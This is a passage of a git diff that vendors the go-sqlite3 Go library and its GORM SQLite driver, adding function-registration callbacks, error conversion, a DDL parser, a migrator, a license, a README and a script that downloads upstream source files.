--enable-nontrapping-float-to-int --enable-sign-ext
\ No newline at end of file
diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt
index 2a07fc0c14..94bfa66c19 100644
--- a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt
+++ b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt
@@ -33,10 +33,10 @@ sqlite3_column_blob
sqlite3_column_bytes
sqlite3_blob_open
sqlite3_blob_close
+sqlite3_blob_reopen
sqlite3_blob_bytes
sqlite3_blob_read
sqlite3_blob_write
-sqlite3_blob_reopen
sqlite3_backup_init
sqlite3_backup_step
sqlite3_backup_finish
@@ -46,4 +46,29 @@ sqlite3_uri_parameter
sqlite3_uri_key
sqlite3_changes64
sqlite3_last_insert_rowid
-sqlite3_get_autocommit
\ No newline at end of file
+sqlite3_get_autocommit
+sqlite3_anycollseq_init
+sqlite3_create_collation_go
+sqlite3_create_function_go
+sqlite3_create_aggregate_function_go
+sqlite3_create_window_function_go
+sqlite3_aggregate_context
+sqlite3_user_data
+sqlite3_set_auxdata_go
+sqlite3_get_auxdata
+sqlite3_value_type
+sqlite3_value_int64
+sqlite3_value_double
+sqlite3_value_text
+sqlite3_value_blob
+sqlite3_value_bytes
+sqlite3_result_null
+sqlite3_result_int64
+sqlite3_result_double
+sqlite3_result_text64
+sqlite3_result_blob64
+sqlite3_result_zeroblob64
+sqlite3_result_error
+sqlite3_result_error_code
+sqlite3_result_error_nomem
+sqlite3_result_error_toobig
\ No newline at end of file
diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm
index be6574a138..020d130a93 100644
Binary files a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm and b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm differ
diff --git a/vendor/github.com/ncruces/go-sqlite3/error.go b/vendor/github.com/ncruces/go-sqlite3/error.go
index 957a7440b7..c91dccd12f 100644
--- a/vendor/github.com/ncruces/go-sqlite3/error.go
+++ b/vendor/github.com/ncruces/go-sqlite3/error.go
@@ -68,6 +68,19 @@ func (e *Error) Is(err error) bool {
return false
}
+// As converts this error to an [ErrorCode] or [ExtendedErrorCode].
+func (e *Error) As(err any) bool {
+ switch c := err.(type) {
+ case *ErrorCode:
+ *c = e.Code()
+ return true
+ case *ExtendedErrorCode:
+ *c = e.ExtendedCode()
+ return true
+ }
+ return false
+}
+
// Temporary returns true for [BUSY] errors.
func (e *Error) Temporary() bool {
return e.Code() == BUSY
@@ -104,6 +117,15 @@ func (e ExtendedErrorCode) Is(err error) bool {
return ok && c == ErrorCode(e)
}
+// As converts this error to an [ErrorCode].
+func (e ExtendedErrorCode) As(err any) bool {
+ c, ok := err.(*ErrorCode)
+ if ok {
+ *c = ErrorCode(e)
+ }
+ return ok
+}
+
// Temporary returns true for [BUSY] errors.
func (e ExtendedErrorCode) Temporary() bool {
return ErrorCode(e) == BUSY
diff --git a/vendor/github.com/ncruces/go-sqlite3/func.go b/vendor/github.com/ncruces/go-sqlite3/func.go
new file mode 100644
index 0000000000..205943eb5f
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/func.go
@@ -0,0 +1,186 @@
+package sqlite3
+
+import (
+ "context"
+
+ "github.com/ncruces/go-sqlite3/internal/util"
+ "github.com/tetratelabs/wazero"
+ "github.com/tetratelabs/wazero/api"
+)
+
+// AnyCollationNeeded registers a fake collating function
+// for any unknown collating sequence.
+// The fake collating function works like BINARY.
+//
+// This extension can be used to load schemas that contain
+// one or more unknown collating sequences.
+func (c *Conn) AnyCollationNeeded() {
+ c.call(c.api.anyCollation, uint64(c.handle), 0, 0)
+}
+
+// CreateCollation defines a new collating sequence.
+//
+// https://www.sqlite.org/c3ref/create_collation.html
+func (c *Conn) CreateCollation(name string, fn func(a, b []byte) int) error {
+ namePtr := c.arena.string(name)
+ funcPtr := util.AddHandle(c.ctx, fn)
+ r := c.call(c.api.createCollation,
+ uint64(c.handle), uint64(namePtr), uint64(funcPtr))
+ if err := c.error(r); err != nil {
+ util.DelHandle(c.ctx, funcPtr)
+ return err
+ }
+ return nil
+}
+
+// CreateFunction defines a new scalar SQL function.
+//
+// https://www.sqlite.org/c3ref/create_function.html
+func (c *Conn) CreateFunction(name string, nArg int, flag FunctionFlag, fn func(ctx Context, arg ...Value)) error {
+ namePtr := c.arena.string(name)
+ funcPtr := util.AddHandle(c.ctx, fn)
+ r := c.call(c.api.createFunction,
+ uint64(c.handle), uint64(namePtr), uint64(nArg),
+ uint64(flag), uint64(funcPtr))
+ return c.error(r)
+}
+
+// CreateWindowFunction defines a new aggregate or aggregate window SQL function.
+// If fn returns a [WindowFunction], then an aggregate window function is created.
+//
+// https://www.sqlite.org/c3ref/create_function.html
+func (c *Conn) CreateWindowFunction(name string, nArg int, flag FunctionFlag, fn func() AggregateFunction) error {
+ call := c.api.createAggregate
+ namePtr := c.arena.string(name)
+ funcPtr := util.AddHandle(c.ctx, fn)
+ if _, ok := fn().(WindowFunction); ok {
+ call = c.api.createWindow
+ }
+ r := c.call(call,
+ uint64(c.handle), uint64(namePtr), uint64(nArg),
+ uint64(flag), uint64(funcPtr))
+ return c.error(r)
+}
+
+// AggregateFunction is the interface an aggregate function should implement.
+//
+// https://www.sqlite.org/appfunc.html
+type AggregateFunction interface {
+ // Step is invoked to add a row to the current window.
+ // The function arguments, if any, corresponding to the row being added are passed to Step.
+ Step(ctx Context, arg ...Value)
+
+ // Value is invoked to return the current value of the aggregate.
+ Value(ctx Context)
+}
+
+// WindowFunction is the interface an aggregate window function should implement.
+//
+// https://www.sqlite.org/windowfunctions.html
+type WindowFunction interface {
+ AggregateFunction
+
+ // Inverse is invoked to remove the oldest presently aggregated result of Step from the current window.
+ // The function arguments, if any, are those passed to Step for the row being removed.
+ Inverse(ctx Context, arg ...Value)
+}
+
+func exportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder {
+ util.ExportFuncVI(env, "go_destroy", callbackDestroy)
+ util.ExportFuncIIIIII(env, "go_compare", callbackCompare)
+ util.ExportFuncVIII(env, "go_func", callbackFunc)
+ util.ExportFuncVIII(env, "go_step", callbackStep)
+ util.ExportFuncVI(env, "go_final", callbackFinal)
+ util.ExportFuncVI(env, "go_value", callbackValue)
+ util.ExportFuncVIII(env, "go_inverse", callbackInverse)
+ return env
+}
+
+func callbackDestroy(ctx context.Context, mod api.Module, pApp uint32) {
+ util.DelHandle(ctx, pApp)
+}
+
+func callbackCompare(ctx context.Context, mod api.Module, pApp, nKey1, pKey1, nKey2, pKey2 uint32) uint32 {
+ fn := util.GetHandle(ctx, pApp).(func(a, b []byte) int)
+ return uint32(fn(util.View(mod, pKey1, uint64(nKey1)), util.View(mod, pKey2, uint64(nKey2))))
+}
+
+func callbackFunc(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) {
+ sqlite := ctx.Value(sqliteKey{}).(*sqlite)
+ fn := callbackHandle(sqlite, pCtx).(func(ctx Context, arg ...Value))
+ fn(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...)
+}
+
+func callbackStep(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) {
+ sqlite := ctx.Value(sqliteKey{}).(*sqlite)
+ fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction)
+ fn.Step(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...)
+}
+
+func callbackFinal(ctx context.Context, mod api.Module, pCtx uint32) {
+ var handle uint32
+ sqlite := ctx.Value(sqliteKey{}).(*sqlite)
+ fn := callbackAggregate(sqlite, pCtx, &handle).(AggregateFunction)
+ fn.Value(Context{sqlite, pCtx})
+ if err := util.DelHandle(ctx, handle); err != nil {
+ Context{sqlite, pCtx}.ResultError(err)
+ }
+}
+
+func callbackValue(ctx context.Context, mod api.Module, pCtx uint32) {
+ sqlite := ctx.Value(sqliteKey{}).(*sqlite)
+ fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction)
+ fn.Value(Context{sqlite, pCtx})
+}
+
+func callbackInverse(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) {
+ sqlite := ctx.Value(sqliteKey{}).(*sqlite)
+ fn := callbackAggregate(sqlite, pCtx, nil).(WindowFunction)
+ fn.Inverse(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...)
+}
+
+func callbackHandle(sqlite *sqlite, pCtx uint32) any {
+ pApp := uint32(sqlite.call(sqlite.api.userData, uint64(pCtx)))
+ return util.GetHandle(sqlite.ctx, pApp)
+}
+
+func callbackAggregate(sqlite *sqlite, pCtx uint32, close *uint32) any {
+ // On close, we're getting rid of the handle.
+ // Don't allocate space to store it.
+ var size uint64
+ if close == nil {
+ size = ptrlen
+ }
+ ptr := uint32(sqlite.call(sqlite.api.aggregateCtx, uint64(pCtx), size))
+
+ // Try loading the handle, if we already have one, or want a new one.
+ if ptr != 0 || size != 0 {
+ if handle := util.ReadUint32(sqlite.mod, ptr); handle != 0 {
+ fn := util.GetHandle(sqlite.ctx, handle)
+ if close != nil {
+ *close = handle
+ }
+ if fn != nil {
+ return fn
+ }
+ }
+ }
+
+ // Create a new aggregate and store the handle.
+ fn := callbackHandle(sqlite, pCtx).(func() AggregateFunction)()
+ if ptr != 0 {
+ util.WriteUint32(sqlite.mod, ptr, util.AddHandle(sqlite.ctx, fn))
+ }
+ return fn
+}
+
+func callbackArgs(sqlite *sqlite, nArg, pArg uint32) []Value {
+ args := make([]Value, nArg)
+ for i := range args {
+ args[i] = Value{
+ sqlite: sqlite,
+ handle: util.ReadUint32(sqlite.mod, pArg+ptrlen*uint32(i)),
+ }
+ }
+ return args
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work b/vendor/github.com/ncruces/go-sqlite3/go.work
new file mode 100644
index 0000000000..18e3785922
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/go.work
@@ -0,0 +1,6 @@
+go 1.21
+
+use (
+ .
+ ./gormlite
+)
diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work.sum b/vendor/github.com/ncruces/go-sqlite3/go.work.sum
new file mode 100644
index 0000000000..cf0b1d6783
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/go.work.sum
@@ -0,0 +1,4 @@
+golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8=
+golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM=
+golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE
new file mode 100644
index 0000000000..558c4ff6df
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE
@@ -0,0 +1,22 @@
+MIT License
+
+Copyright (c) 2023 Nuno Cruces
+Copyright (c) 2023 Jinzhu
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md
new file mode 100644
index 0000000000..768a5b4029
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md
@@ -0,0 +1,26 @@
+# GORM SQLite Driver
+
+[![Go Reference](https://pkg.go.dev/badge/image)](https://pkg.go.dev/github.com/ncruces/go-sqlite3/gormlite)
+
+## Usage
+
+```go
+import (
+ _ "github.com/ncruces/go-sqlite3/embed"
+ "github.com/ncruces/go-sqlite3/gormlite"
+ "gorm.io/gorm"
+)
+
+db, err := gorm.Open(gormlite.Open("gorm.db"), &gorm.Config{})
+```
+
+Checkout [https://gorm.io](https://gorm.io) for details.
+
+### Foreign-key constraint activation
+
+Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter:
+```go
+db, err := gorm.Open(gormlite.Open(
+ "file:gorm.db?_pragma=busy_timeout(10000)&_pragma=foreign_keys(1)"),
+ &gorm.Config{})
+```
\ No newline at end of file
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go
new file mode 100644
index 0000000000..69cd1791ff
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go
@@ -0,0 +1,231 @@
+package gormlite
+
+import (
+ "database/sql"
+ "errors"
+ "fmt"
+ "regexp"
+ "strconv"
+ "strings"
+
+ "gorm.io/gorm/migrator"
+)
+
+var (
+ sqliteSeparator = "`|\"|'|\t"
+ indexRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\w\d-]+[%v]? ON (.*)$`, sqliteSeparator, sqliteSeparator))
+ tableRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)(CREATE TABLE [%v]?[\w\d-]+[%v]?)(?:\s*\((.*)\))?`, sqliteSeparator, sqliteSeparator))
+ separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator))
+ columnsRegexp = regexp.MustCompile(fmt.Sprintf(`[(,][%v]?(\w+)[%v]?`, sqliteSeparator, sqliteSeparator))
+ columnRegexp = regexp.MustCompile(fmt.Sprintf(`^[%v]?([\w\d]+)[%v]?\s+([\w\(\)\d]+)(.*)$`, sqliteSeparator, sqliteSeparator))
+ defaultValueRegexp = regexp.MustCompile(`(?i) DEFAULT \(?(.+)?\)?( |COLLATE|GENERATED|$)`)
+ regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`)
+)
+
+func getAllColumns(s string) []string {
+ allMatches := columnsRegexp.FindAllStringSubmatch(s, -1)
+ columns := make([]string, 0, len(allMatches))
+ for _, matches := range allMatches {
+ if len(matches) > 1 {
+ columns = append(columns, matches[1])
+ }
+ }
+ return columns
+}
+
+type ddl struct {
+ head string
+ fields []string
+ columns []migrator.ColumnType
+}
+
+func parseDDL(strs ...string) (*ddl, error) {
+ var result ddl
+ for _, str := range strs {
+ if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 {
+ var (
+ ddlBody = sections[2]
+ ddlBodyRunes = []rune(ddlBody)
+ bracketLevel int
+ quote rune
+ buf string
+ )
+ ddlBodyRunesLen := len(ddlBodyRunes)
+
+ result.head = sections[1]
+
+ for idx := 0; idx < ddlBodyRunesLen; idx++ {
+ var (
+ next rune = 0
+ c = ddlBodyRunes[idx]
+ )
+ if idx+1 < ddlBodyRunesLen {
+ next = ddlBodyRunes[idx+1]
+ }
+
+ if sc := string(c); separatorRegexp.MatchString(sc) {
+ if c == next {
+ buf += sc // Skip escaped quote
+ idx++
+ } else if quote > 0 {
+ quote = 0
+ } else {
+ quote = c
+ }
+ } else if quote == 0 {
+ if c == '(' {
+ bracketLevel++
+ } else if c == ')' {
+ bracketLevel--
+ } else if bracketLevel == 0 {
+ if c == ',' {
+ result.fields = append(result.fields, strings.TrimSpace(buf))
+ buf = ""
+ continue
+ }
+ }
+ }
+
+ if bracketLevel < 0 {
+ return nil, errors.New("invalid DDL, unbalanced brackets")
+ }
+
+ buf += string(c)
+ }
+
+ if bracketLevel != 0 {
+ return nil, errors.New("invalid DDL, unbalanced brackets")
+ }
+
+ if buf != "" {
+ result.fields = append(result.fields, strings.TrimSpace(buf))
+ }
+
+ for _, f := range result.fields {
+ fUpper := strings.ToUpper(f)
+ if strings.HasPrefix(fUpper, "CHECK") ||
+ strings.HasPrefix(fUpper, "CONSTRAINT") {
+ continue
+ }
+
+ if strings.HasPrefix(fUpper, "PRIMARY KEY") {
+ for _, name := range getAllColumns(f) {
+ for idx, column := range result.columns {
+ if column.NameValue.String == name {
+ column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true}
+ result.columns[idx] = column
+ break
+ }
+ }
+ }
+ } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 {
+ columnType := migrator.ColumnType{
+ NameValue: sql.NullString{String: matches[1], Valid: true},
+ DataTypeValue: sql.NullString{String: matches[2], Valid: true},
+ ColumnTypeValue: sql.NullString{String: matches[2], Valid: true},
+ PrimaryKeyValue: sql.NullBool{Valid: true},
+ UniqueValue: sql.NullBool{Valid: true},
+ NullableValue: sql.NullBool{Valid: true},
+ DefaultValueValue: sql.NullString{Valid: false},
+ }
+
+ matchUpper := strings.ToUpper(matches[3])
+ if strings.Contains(matchUpper, " NOT NULL") {
+ columnType.NullableValue = sql.NullBool{Bool: false, Valid: true}
+ } else if strings.Contains(matchUpper, " NULL") {
+ columnType.NullableValue = sql.NullBool{Bool: true, Valid: true}
+ }
+ if strings.Contains(matchUpper, " UNIQUE") {
+ columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true}
+ }
+ if strings.Contains(matchUpper, " PRIMARY") {
+ columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true}
+ }
+ if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 {
+ if strings.ToLower(defaultMatches[1]) != "null" {
+ columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true}
+ }
+ }
+
+ // data type length
+ matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1)
+ if len(matches) == 1 && len(matches[0]) == 2 {
+ size, _ := strconv.Atoi(matches[0][1])
+ columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)}
+ columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0])
+ }
+
+ result.columns = append(result.columns, columnType)
+ }
+ }
+ } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 {
+ for _, column := range getAllColumns(matches[1]) {
+ for idx, c := range result.columns {
+ if c.NameValue.String == column {
+ c.UniqueValue = sql.NullBool{Bool: strings.ToUpper(strings.Fields(str)[1]) == "UNIQUE", Valid: true}
+ result.columns[idx] = c
+ }
+ }
+ }
+ } else {
+ return nil, errors.New("invalid DDL")
+ }
+ }
+
+ return &result, nil
+}
+
+func (d *ddl) compile() string {
+ if len(d.fields) == 0 {
+ return d.head
+ }
+
+ return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ","))
+}
+
+func (d *ddl) addConstraint(name string, sql string) {
+ reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
+
+ for i := 0; i < len(d.fields); i++ {
+ if reg.MatchString(d.fields[i]) {
+ d.fields[i] = sql
+ return
+ }
+ }
+
+ d.fields = append(d.fields, sql)
+}
+
+func (d *ddl) removeConstraint(name string) bool {
+ reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
+
+ for i := 0; i < len(d.fields); i++ {
+ if reg.MatchString(d.fields[i]) {
+ d.fields = append(d.fields[:i], d.fields[i+1:]...)
+ return true
+ }
+ }
+ return false
+}
+
+func (d *ddl) getColumns() []string {
+ res := []string{}
+
+ for _, f := range d.fields {
+ fUpper := strings.ToUpper(f)
+ if strings.HasPrefix(fUpper, "PRIMARY KEY") ||
+ strings.HasPrefix(fUpper, "CHECK") ||
+ strings.HasPrefix(fUpper, "CONSTRAINT") ||
+ strings.Contains(fUpper, "GENERATED ALWAYS AS") {
+ continue
+ }
+
+ reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?")
+ match := reg.FindStringSubmatch(f)
+
+ if match != nil {
+ res = append(res, "`"+match[1]+"`")
+ }
+ }
+ return res
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh
new file mode 100644
index 0000000000..fcf9a70bbf
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh
@@ -0,0 +1,11 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+cd -P -- "$(dirname -- "$0")"
+
+curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod.go"
+curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod_test.go"
+curl -#OL "https://github.com/go-gorm/sqlite/raw/master/error_translator.go"
+curl -#OL "https://github.com/go-gorm/sqlite/raw/master/migrator.go"
+curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite.go"
+curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite_test.go"
\ No newline at end of file
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go
new file mode 100644
index 0000000000..ac7a2d299d
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go
@@ -0,0 +1,21 @@
+package gormlite
+
+import (
+ "errors"
+
+ "github.com/ncruces/go-sqlite3"
+ "gorm.io/gorm"
+)
+
+func (dialector Dialector) Translate(err error) error {
+ switch {
+ case
+ errors.Is(err, sqlite3.CONSTRAINT_UNIQUE),
+ errors.Is(err, sqlite3.CONSTRAINT_PRIMARYKEY):
+ return gorm.ErrDuplicatedKey
+ case
+ errors.Is(err, sqlite3.CONSTRAINT_FOREIGNKEY):
+ return gorm.ErrForeignKeyViolated
+ }
+ return err
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go
new file mode 100644
index 0000000000..9e2c4c907a
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go
@@ -0,0 +1,431 @@
+package gormlite
+
+import (
+ "database/sql"
+ "fmt"
+ "regexp"
+ "strings"
+
+ "gorm.io/gorm"
+ "gorm.io/gorm/clause"
+ "gorm.io/gorm/migrator"
+ "gorm.io/gorm/schema"
+)
+
+type Migrator struct {
+ migrator.Migrator
+}
+
+func (m *Migrator) RunWithoutForeignKey(fc func() error) error {
+ var enabled int
+ m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled)
+ if enabled == 1 {
+ m.DB.Exec("PRAGMA foreign_keys = OFF")
+ defer m.DB.Exec("PRAGMA foreign_keys = ON")
+ }
+
+ return fc()
+}
+
+func (m Migrator) HasTable(value interface{}) bool {
+ var count int
+ m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error {
+ return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count)
+ })
+ return count > 0
+}
+
+func (m Migrator) DropTable(values ...interface{}) error {
+ return m.RunWithoutForeignKey(func() error {
+ values = m.ReorderModels(values, false)
+ tx := m.DB.Session(&gorm.Session{})
+
+ for i := len(values) - 1; i >= 0; i-- {
+ if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error {
+ return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error
+ }); err != nil {
+ return err
+ }
+ }
+
+ return nil
+ })
+}
+
+func (m Migrator) GetTables() (tableList []string, err error) {
+ return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error
+}
+
+func (m Migrator) HasColumn(value interface{}, name string) bool {
+ var count int
+ m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if stmt.Schema != nil {
+ if field := stmt.Schema.LookUpField(name); field != nil {
+ name = field.DBName
+ }
+ }
+
+ if name != "" {
+ m.DB.Raw(
+ "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)",
+ "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%",
+ ).Row().Scan(&count)
+ }
+ return nil
+ })
+ return count > 0
+}
+
+func (m Migrator) AlterColumn(value interface{}, name string) error {
+ return m.RunWithoutForeignKey(func() error {
+ return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ if field := stmt.Schema.LookUpField(name); field != nil {
+ // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)`
+ reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)")
+ if err != nil {
+ return "", nil, err
+ }
+
+ createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName))
+
+ if createSQL == rawDDL {
+ return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL)
+ }
+
+ return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil
+ }
+ return "", nil, fmt.Errorf("failed to alter field with name %v", name)
+ })
+ })
+}
+
+// ColumnTypes return columnTypes []gorm.ColumnType and execErr error
+func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) {
+ columnTypes := make([]gorm.ColumnType, 0)
+ execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) {
+ var (
+ sqls []string
+ sqlDDL *ddl
+ )
+
+ if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil {
+ return err
+ }
+
+ if sqlDDL, err = parseDDL(sqls...); err != nil {
+ return err
+ }
+
+ rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows()
+ if err != nil {
+ return err
+ }
+ defer func() {
+ err = rows.Close()
+ }()
+
+ var rawColumnTypes []*sql.ColumnType
+ rawColumnTypes, err = rows.ColumnTypes()
+ if err != nil {
+ return err
+ }
+
+ for _, c := range rawColumnTypes {
+ columnType := migrator.ColumnType{SQLColumnType: c}
+ for _, column := range sqlDDL.columns {
+ if column.NameValue.String == c.Name() {
+ column.SQLColumnType = c
+ columnType = column
+ break
+ }
+ }
+ columnTypes = append(columnTypes, columnType)
+ }
+
+ return err
+ })
+
+ return columnTypes, execErr
+}
+
+func (m Migrator) DropColumn(value interface{}, name string) error {
+ return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ if field := stmt.Schema.LookUpField(name); field != nil {
+ name = field.DBName
+ }
+
+ reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,")
+ if err != nil {
+ return "", nil, err
+ }
+
+ createSQL := reg.ReplaceAllString(rawDDL, "")
+
+ return createSQL, nil, nil
+ })
+}
+
+func (m Migrator) CreateConstraint(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
+
+ return m.recreateTable(value, &table,
+ func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ var (
+ constraintName string
+ constraintSql string
+ constraintValues []interface{}
+ )
+
+ if constraint != nil {
+ constraintName = constraint.Name
+ constraintSql, constraintValues = buildConstraint(constraint)
+ } else if chk != nil {
+ constraintName = chk.Name
+ constraintSql = "CONSTRAINT ? CHECK (?)"
+ constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}}
+ } else {
+ return "", nil, nil
+ }
+
+ createDDL, err := parseDDL(rawDDL)
+ if err != nil {
+ return "", nil, err
+ }
+ createDDL.addConstraint(constraintName, constraintSql)
+ createSQL := createDDL.compile()
+
+ return createSQL, constraintValues, nil
+ })
+ })
+}
+
+func (m Migrator) DropConstraint(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
+ if constraint != nil {
+ name = constraint.Name
+ } else if chk != nil {
+ name = chk.Name
+ }
+
+ return m.recreateTable(value, &table,
+ func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ createDDL, err := parseDDL(rawDDL)
+ if err != nil {
+ return "", nil, err
+ }
+ createDDL.removeConstraint(name)
+ createSQL := createDDL.compile()
+
+ return createSQL, nil, nil
+ })
+ })
+}
+
+func (m Migrator) HasConstraint(value interface{}, name string) bool {
+ var count int64
+ m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
+ if constraint != nil {
+ name = constraint.Name
+ } else if chk != nil {
+ name = chk.Name
+ }
+
+ m.DB.Raw(
